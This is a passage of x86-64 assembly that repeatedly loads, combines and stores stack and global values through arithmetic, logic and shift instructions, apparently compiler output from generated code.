mov rcx, qword [rsp + 0x9ac8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1604]
mov word [rsp + 0x1ae8], ax
mov rax, qword [rsp + 0xaf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18ec]
shl eax, cl
mov word [rsp + 0x1610], ax
mov rax, qword [rsp + 0xc608]
mov eax, dword [rax]
mov dword [rsp + 0x5434], eax
mov rax, qword [rsp + 0x9268]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51f8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4eb8], eax
mov rax, qword [rsp + 0xaa90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bf8]
mov qword [rsp + 0xc6e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc6e0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xb910]
mov qword [rcx], rax
lea rax, [rsp + 0xa2c8]
mov qword [rsp + 0xc6e8], rax
mov rax, qword [rsp + 0xc480]
movsx eax, byte [rax]
mov rcx, qword [0x1401cdc08]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1401cde30]
mov byte [rcx], al
movzx eax, byte [rsp + 0x342]
mov rcx, qword [rsp + 0xaad0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x332], al
mov rax, qword [rsp + 0xbb00]
movzx eax, word [rax]
mov word [rsp + 0x1aec], ax
movsx eax, word [rsp + 0x162c]
movsx ecx, word [rsp + 0x19b0]
sub eax, ecx
mov word [rsp + 0x1768], ax
lea rax, [rsp + 0x15a4]
mov qword [rsp + 0xc6f0], rax
mov rax, qword [rsp + 0xbb90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa88]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9350]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4eb8]
mov ecx, dword [rsp + 0x4e44]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9280]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc0f8]
mov rax, qword [rax]
mov qword [rsp + 0xc6f8], rax
mov eax, dword [rsp + 0x4f28]
mov ecx, dword [rsp + 0x4f84]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xabc0]
mov dword [rcx], eax
movsx eax, word [0x1401cdb38]
movsx ecx, word [rsp + 0x1818]
sub eax, ecx
mov word [0x1401cc1c8], ax
movzx eax, byte [rsp + 0x1f4]
mov byte [rsp + 0x355], al
movsx eax, word [rsp + 0x14c8]
movsx ecx, word [rsp + 0x16b0]
add eax, ecx
mov rcx, qword [rsp + 0x9328]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2ad]
mov rcx, qword [rsp + 0xb178]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x266], al
movzx eax, byte [rsp + 0x2e3]
mov byte [rsp + 0x356], al
mov eax, dword [rsp + 0x4f68]
mov ecx, dword [rsp + 0x5410]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5180], eax
mov rax, qword [rsp + 0x90f8]
mov rax, qword [rax]
mov qword [rsp + 0xc700], rax
mov rax, qword [rsp + 0xc1d0]
mov rcx, qword [rsp + 0xa858]
mov qword [rsp + 0xc708], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc708]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x9538], rax
mov eax, dword [rsp + 0x4e70]
movzx ecx, al
mov eax, dword [rsp + 0x51b8]
shl eax, cl
mov dword [rsp + 0x4f80], eax
mov rax, qword [rsp + 0xb1d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e4]
xor eax, ecx
mov rcx, qword [0x1401cd978]
mov byte [rcx], al
movzx eax, byte [rsp + 0x33b]
mov byte [rsp + 0x357], al
mov rax, qword [rsp + 0x8f30]
movsx eax, word [rax]
movsx ecx, word [0x1401cc0e4]
and eax, ecx
mov word [rsp + 0x19c4], ax
lea rax, [rsp + 0x16fc]
mov qword [rsp + 0xc710], rax
movzx eax, byte [rsp + 0x1e0]
mov rcx, qword [rsp + 0xb5c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa7b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb5b8]
mov ecx, dword [rsp + 0x4f38]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ea4], eax
lea rax, [rsp + 0x8ca0]
mov qword [rsp + 0xc718], rax
mov rax, qword [rsp + 0xbfb0]
mov rcx, qword [rsp + 0xb3f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb908], rax
mov rax, qword [rsp + 0x9048]
mov ecx, dword [rsp + 0x5258]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4a10], eax
lea rax, [rsp + 0x1aa0]
mov qword [0x1401cde80], rax
movsx eax, word [rsp + 0x1790]
movsx ecx, word [rsp + 0x165c]
and eax, ecx
mov rcx, qword [rsp + 0xb0b0]
mov word [rcx], ax
lea rax, [rsp + 0x33b]
mov qword [rsp + 0xc720], rax
mov rax, qword [0x1401cd738]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e70]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x159c], ax
mov rax, qword [rsp + 0xb500]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d1]
add eax, ecx
mov rcx, qword [rsp + 0xc4f8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa328]
mov qword [rsp + 0xc728], rax
mov rax, qword [rsp + 0x9360]
mov rcx, qword [rsp + 0x98f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc0e8]
mov dword [rcx], eax
lea rax, [rsp + 0x53f0]
mov qword [rsp + 0xc730], rax
mov rax, qword [rsp + 0xa4e0]
mov rcx, qword [rsp + 0xc4d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa590]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1544]
mov rcx, qword [rsp + 0xb248]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1a9c], ax
movsx eax, byte [rsp + 0x344]
movsx ecx, byte [rsp + 0x1e8]
xor eax, ecx
mov rcx, qword [0x1401cdc70]
mov byte [rcx], al
lea rax, [0x1401cc03c]
mov qword [rsp + 0xc738], rax
mov rax, qword [rsp + 0xc4f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x241]
shl eax, cl
mov byte [rsp + 0x265], al
lea rax, [rsp + 0x1640]
mov qword [rsp + 0xc740], rax
mov rax, qword [rsp + 0xb898]
mov rcx, qword [rsp + 0x8ff0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x97c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbd10]
mov rcx, qword [rsp + 0xaa30]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbb10]
mov qword [rcx], rax
lea rax, [rsp + 0xa690]
mov qword [rsp + 0xc748], rax
mov rax, qword [rsp + 0xbd00]
mov ecx, dword [0x1401cd720]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xa9e8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x224]
mov byte [rsp + 0x358], al
movsx eax, byte [rsp + 0x208]
mov rcx, qword [rsp + 0xb7e8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc0ab], al
movzx eax, word [0x1401cdafc]
mov rcx, qword [rsp + 0xabb8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x18b8], ax
movzx eax, word [rsp + 0x1a00]
mov word [rsp + 0x1af0], ax
movsx eax, word [rsp + 0x1564]
mov rcx, qword [rsp + 0xae40]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1628], ax
mov rax, qword [rsp + 0x97a8]
mov rcx, qword [rsp + 0x83f8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9cc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbc50]
mov rax, qword [rax]
mov qword [rsp + 0xc750], rax
mov eax, dword [rsp + 0x4fb8]
mov ecx, dword [rsp + 0x4b18]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5000], eax
mov rax, qword [rsp + 0xbc20]
mov eax, dword [rax]
mov dword [rsp + 0x5438], eax
mov rax, qword [rsp + 0x9608]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x31f]
sub eax, ecx
mov byte [rsp + 0x27a], al
movzx eax, byte [rsp + 0x312]
mov rcx, qword [rsp + 0xb298]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc0b6], al
mov rax, qword [0x1401cdd50]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15fc]
sub eax, ecx
mov word [rsp + 0x1168], ax
lea rax, [rsp + 0x242]
mov qword [rsp + 0xc758], rax
mov rax, qword [rsp + 0x9708]
movzx eax, word [rax]
movzx ecx, word [0x1401cc03c]
shl eax, cl
mov rcx, qword [rsp + 0xad38]
mov word [rcx], ax
lea rax, [rsp + 0x4ef0]
mov qword [rsp + 0xc760], rax
mov rax, qword [rsp + 0x88e8]
mov rcx, qword [rsp + 0xac48]
mov qword [rsp + 0xc768], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc768]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb9c0], rax
mov rax, qword [rsp + 0xbd10]
mov rcx, qword [0x1401cd728]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa788], rax
lea rax, [rsp + 0x4f9c]
mov qword [rsp + 0xc770], rax
mov rax, qword [rsp + 0xa390]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb8d8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x32a], al
mov rax, qword [rsp + 0xaa38]
movsx eax, word [rax]
movsx ecx, word [0x1401cd950]
imul eax, ecx
mov rcx, qword [0x1401cd9d8]
mov word [rcx], ax
mov rax, qword [rsp + 0xac40]
movzx eax, byte [rax]
mov byte [rsp + 0x359], al
mov rax, qword [rsp + 0xb688]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2f7]
and eax, ecx
mov byte [rsp + 0x1f4], al
mov rax, qword [rsp + 0x9d80]
movzx eax, word [rax]
movzx ecx, word [0x1401cdd80]
sub eax, ecx
mov word [rsp + 0x17b8], ax
movzx eax, byte [rsp + 0x2ab]
mov byte [rsp + 0x35a], al
mov eax, dword [rsp + 0x4a10]
mov ecx, dword [rsp + 0x4ee4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9fa8]
mov dword [rcx], eax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov qword [rsp + 0xc778], rax
mov rax, qword [rsp + 0x9400]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5228]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5040], eax
mov rax, qword [rsp + 0x9830]
mov rcx, qword [rsp + 0xb7f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8810], rax
lea rax, [rsp + 0x1920]
mov qword [0x1401cde88], rax
mov rax, qword [rsp + 0x97e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10e]
add eax, ecx
mov byte [rsp + 0x211], al
movsx eax, word [rsp + 0x1554]
mov rcx, qword [rsp + 0x9a40]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x162c], ax
movzx eax, word [0x1401cc058]
mov word [rsp + 0x1af4], ax
movzx eax, byte [rsp + 0x33d]
mov rcx, qword [rsp + 0x9900]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2a1], al
lea rax, [rsp + 0x5024]
mov qword [rsp + 0xc780], rax
mov rax, qword [rsp + 0xb228]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a10]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc1f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc4f0]
mov rcx, qword [rsp + 0x9ad0]
mov qword [rsp + 0xc788], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc788]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xc170]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc670]
mov qword [rsp + 0xc790], rax
mov rax, qword [0x1401cd8c0]
movzx eax, word [rax]
mov word [0x1401cde90], ax
mov rax, qword [rsp + 0x9df8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9318]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x270], al
mov rax, qword [rsp + 0x9fc8]
movzx eax, word [rax]
mov word [rsp + 0x1af8], ax
mov rax, qword [rsp + 0xa090]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cc03f]
sar eax, cl
mov byte [rsp + 0x2b3], al
movsx eax, byte [rsp + 0x2ce]
movsx ecx, byte [rsp + 0x1f0]
xor eax, ecx
mov rcx, qword [rsp + 0x9300]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb80]
mov eax, dword [rax]
mov dword [rsp + 0x543c], eax
mov eax, dword [0x1401cc01c]
mov ecx, dword [rsp + 0x537c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5344], eax
lea rax, [rsp + 0xc250]
mov qword [rsp + 0xc798], rax
mov rax, qword [rsp + 0xaa40]
mov rcx, qword [rsp + 0xc2d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9d40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa7e8]
movsx eax, word [rax]
movsx ecx, word [0x1401cc0ac]
add eax, ecx
mov word [0x1401cc1c0], ax
movzx eax, word [rsp + 0x1760]
mov word [rsp + 0x1afc], ax
movsx eax, byte [rsp + 0x334]
movsx ecx, byte [rsp + 0x24d]
sub eax, ecx
mov byte [rsp + 0x9b], al
mov rax, qword [rsp + 0xb5c0]
movzx eax, byte [rax]
mov rcx, qword [0x1401cddc0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x26a], al
mov rax, qword [rsp + 0xaa38]
movzx eax, word [rax]
mov word [rsp + 0x1b00], ax
mov rax, qword [rsp + 0x9de0]
mov rcx, qword [rsp + 0x8a10]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbcc8], rax
lea rax, [0x1401cc01c]
mov qword [rsp + 0xc7a0], rax
mov rax, qword [rsp + 0xbb48]
mov rcx, qword [rsp + 0xc020]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbb48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x94c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51a4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaab8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x18bc]
mov rcx, qword [rsp + 0x9870]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc0f0], ax
movzx eax, byte [rsp + 0x256]
mov byte [rsp + 0x35b], al
mov rax, qword [rsp + 0x9950]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19f0]
imul eax, ecx
mov word [rsp + 0x1554], ax
movzx eax, byte [0x1401cc00d]
mov byte [rsp + 0x35c], al
movsx eax, word [rsp + 0x12e4]
mov rcx, qword [rsp + 0x8f70]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x15fc], ax
mov rax, qword [rsp + 0x9320]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50e4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb898]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbe60]
movzx ecx, al
mov rax, qword [0x1401cc020]
shl rax, cl
mov qword [rsp + 0x80b8], rax
mov rax, qword [rsp + 0xb588]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc6b8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa0b8]
mov eax, dword [rax]
mov dword [rsp + 0x5440], eax
lea rax, [rsp + 0x180]
mov qword [0x1401cde98], rax
mov rax, qword [rsp + 0xa1f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1518]
sar eax, cl
mov word [rsp + 0x1958], ax
mov rax, qword [rsp + 0xa738]
movzx eax, word [rax]
mov rcx, qword [0x1401cdc48]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1aa0], ax
movzx eax, byte [rsp + 0x2f0]
mov byte [rsp + 0x35d], al
movsx eax, byte [rsp + 0xeb]
mov rcx, qword [rsp + 0xb0e0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x202], al
mov eax, dword [rsp + 0x5020]
mov dword [rsp + 0x5444], eax
mov rax, qword [rsp + 0x9350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b90]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbf88]
mov qword [rcx], rax
lea rax, [rsp + 0x9148]
mov qword [rsp + 0xc7a8], rax
mov eax, dword [rsp + 0x53d4]
mov ecx, dword [rsp + 0x4e80]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4c0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1aa8]
movsx ecx, word [rsp + 0x1a78]
sub eax, ecx
mov rcx, qword [0x1401cdb18]
mov word [rcx], ax
mov rax, qword [rsp + 0xbff0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1acc]
add eax, ecx
mov word [rsp + 0x1a0c], ax
mov rax, qword [rsp + 0xae50]
movzx eax, byte [rax]
mov byte [rsp + 0x35e], al
mov rax, qword [rsp + 0xb6e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa5a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1fd], al
mov rax, qword [rsp + 0x96e0]
movzx eax, byte [rax]
mov byte [rsp + 0x35f], al
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9908]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa658]
mov rcx, qword [rsp + 0xc7a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ca0], rax
mov rax, qword [rsp + 0xb1f0]
mov eax, dword [rax]
mov dword [rsp + 0x5448], eax
mov rax, qword [rsp + 0xa398]
mov rcx, qword [rsp + 0x98d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5064], eax
mov rax, qword [rsp + 0x9bc8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb630]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc1cc], ax
lea rax, [rsp + 0x1040]
mov qword [rsp + 0xc7b0], rax
movsx eax, byte [rsp + 0x2ce]
movsx ecx, byte [rsp + 0x2dd]
or eax, ecx
mov rcx, qword [rsp + 0xb9b8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x279]
mov rcx, qword [rsp + 0xb9e8]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc180]
mov byte [rcx], al
movzx eax, word [rsp + 0x16b4]
mov word [rsp + 0x1b04], ax
mov rax, qword [rsp + 0xb078]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4e6c]
shl eax, cl
mov rcx, qword [rsp + 0x9400]
mov dword [rcx], eax
lea rax, [rsp + 0x4ee4]
mov qword [rsp + 0xc7b8], rax
mov rax, qword [rsp + 0xa8e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa0d8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7fb8], rax
mov rax, qword [rsp + 0x9d90]
mov rcx, qword [rsp + 0xa568]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9370]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbd60]
movzx eax, byte [rax]
mov byte [rsp + 0x360], al
mov rax, qword [rsp + 0xc248]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2dc]
add eax, ecx
mov byte [0x1401cd724], al
movsx eax, word [rsp + 0x1aa8]
movsx ecx, word [rsp + 0x1664]
sub eax, ecx
mov rcx, qword [rsp + 0xacc0]
mov word [rcx], ax
lea rax, [rsp + 0x1a24]
mov qword [rsp + 0xc7c0], rax
mov rax, qword [rsp + 0xb2b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a1c]
and eax, ecx
mov rcx, qword [rsp + 0xb5f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xaca8]
mov rcx, qword [rsp + 0x9ed8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7fe0], rax
mov rax, qword [rsp + 0x9158]
mov rcx, qword [rsp + 0x9910]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4f90], eax
mov rax, qword [rsp + 0x8d08]
mov ecx, dword [rsp + 0x5320]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4e98], eax
mov rax, qword [rsp + 0x8ed0]
mov rax, qword [rax]
mov qword [rsp + 0xc7c8], rax
mov rax, qword [rsp + 0xc158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19dc]
sub eax, ecx
mov rcx, qword [rsp + 0x9f98]
mov word [rcx], ax
movsx eax, byte [0x1401cc06b]
movsx ecx, byte [rsp + 0x2f4]
add eax, ecx
mov byte [0x1401cc0b7], al
movzx eax, byte [rsp + 0x2cd]
mov byte [rsp + 0x361], al
mov rax, qword [rsp + 0xa560]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x339]
shl eax, cl
mov rcx, qword [rsp + 0x9b18]
mov byte [rcx], al
mov rax, qword [0x1401cdb00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x166c]
sar eax, cl
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
lea rax, [rsp + 0x4f18]
mov qword [rsp + 0xc7d0], rax
mov eax, dword [rsp + 0x4be8]
mov ecx, dword [rsp + 0x502c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaab8]
mov dword [rcx], eax
lea rax, [0x1401cc020]
mov qword [rsp + 0xc7d8], rax
mov rax, qword [rsp + 0x90c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbcc8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8558], rax
mov rax, qword [rsp + 0x93b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x221]
and eax, ecx
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
lea rax, [rsp + 0x1810]
mov qword [0x1401cdea0], rax
movzx eax, word [rsp + 0x1af4]
mov word [rsp + 0x1b08], ax
movsx eax, word [rsp + 0x14d8]
mov rcx, qword [rsp + 0xc1b0]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1828], ax
movzx eax, byte [rsp + 0x309]
mov byte [rsp + 0x362], al
mov rax, qword [rsp + 0xa5f0]
mov ecx, dword [rsp + 0x522c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9558]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa9c8]
mov qword [rsp + 0xc7e0], rax
mov rax, qword [rsp + 0xaed8]
mov rcx, qword [rsp + 0xa758]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e60], rax
mov eax, dword [rsp + 0x4928]
mov ecx, dword [rsp + 0x5110]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e4c], eax
lea rax, [rsp + 0x1824]
mov qword [rsp + 0xc7e8], rax
movzx eax, byte [rsp + 0x279]
mov rcx, qword [0x1401cdb90]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401cde70]
mov byte [rcx], al
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x362]
and eax, ecx
mov rcx, qword [rsp + 0xabb0]
mov byte [rcx], al
lea rax, [rsp + 0x15b4]
mov qword [rsp + 0xc7f0], rax
mov rax, qword [rsp + 0xa090]
movzx eax, byte [rax]
mov rcx, qword [0x1401cdbd0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc3f8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x290]
mov rcx, qword [rsp + 0x99f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe9], al
mov eax, dword [rsp + 0x521c]
mov dword [rsp + 0x544c], eax
mov rax, qword [rsp + 0xb8b0]
mov rcx, qword [0x1401cc010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb9d8]
mov qword [rcx], rax
lea rax, [rsp + 0x4acc]
mov qword [rsp + 0xc7f8], rax
mov rax, qword [rsp + 0xb790]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa88], rax
mov rax, qword [0x1401cdcf8]
movzx eax, byte [rax]
mov byte [0x1401cd847], al
movsx eax, word [rsp + 0x168c]
movsx ecx, word [rsp + 0x1168]
sar eax, cl
mov word [rsp + 0x191c], ax
mov rax, qword [rsp + 0x94a8]
movzx eax, word [rax]
mov word [rsp + 0x1b0c], ax
movsx eax, word [rsp + 0x1878]
movsx ecx, word [rsp + 0x1994]
xor eax, ecx
mov word [rsp + 0x1620], ax
lea rax, [rsp + 0x1520]
mov qword [rsp + 0xc800], rax
mov rax, qword [rsp + 0xb3e0]
mov rcx, qword [rsp + 0x84b8]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbab0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9618]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9090]
shl rax, cl
mov qword [rsp + 0x9a78], rax
mov eax, dword [rsp + 0x4ef8]
mov dword [rsp + 0x5450], eax
mov rax, qword [rsp + 0xb7e0]
mov ecx, dword [rsp + 0x4928]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x53ac], eax
movzx eax, byte [rsp + 0x25e]
mov rcx, qword [rsp + 0x95d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc076], al
mov rax, qword [rsp + 0xb5a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc220]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11bc], ax
movsx eax, byte [rsp + 0x210]
mov rcx, qword [rsp + 0xa298]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x309], al
mov rax, qword [rsp + 0xa8e0]
movzx eax, byte [rax]
mov byte [rsp + 0x363], al
mov rax, qword [rsp + 0xa650]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x178c]
sub eax, ecx
mov rcx, qword [rsp + 0xb468]
mov word [rcx], ax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0xaaf0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97a8]
mov qword [rcx], rax
lea rax, [rsp + 0xb728]
mov qword [rsp + 0xc808], rax
mov rax, qword [rsp + 0xb848]
mov rcx, qword [rsp + 0xbf60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x53f0], eax
mov rax, qword [rsp + 0xa3e0]
mov eax, dword [rax]
mov dword [rsp + 0x5454], eax
mov rax, qword [rsp + 0x9b18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cd7dc], al
mov rax, qword [rsp + 0xae40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9250]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc7b0]
mov word [rcx], ax
mov rax, qword [0x1401cde80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa2b0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16d4], ax
lea rax, [rsp + 0x285]
mov qword [rsp + 0xc810], rax
movsx eax, byte [rsp + 0x73]
mov rcx, qword [rsp + 0xa170]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9ac8]
mov byte [rcx], al
lea rax, [0x1401cc028]
mov qword [rsp + 0xc818], rax
mov rax, qword [rsp + 0x9360]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x53d0]
shr eax, cl
mov rcx, qword [rsp + 0xa110]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4fe4]
movzx ecx, al
mov eax, dword [rsp + 0x52f8]
shl eax, cl
mov rcx, qword [rsp + 0xa158]
mov dword [rcx], eax
lea rax, [rsp + 0x9728]
mov qword [rsp + 0xc820], rax
movzx eax, word [rsp + 0x1754]
mov rcx, qword [rsp + 0xb5d8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1401cc1d0], ax
movsx eax, word [rsp + 0x1abc]
mov rcx, qword [rsp + 0xc520]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1938], ax
lea rax, [0x1401cd727]
mov qword [rsp + 0xc828], rax
mov rax, qword [rsp + 0x99f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x10f]
and eax, ecx
mov byte [rsp + 0x21e], al
lea rax, [rsp + 0xebc]
mov qword [rsp + 0xc830], rax
mov rax, qword [rsp + 0xb940]
mov ecx, dword [rsp + 0x52dc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4dd8], eax
mov rax, qword [rsp + 0x9030]
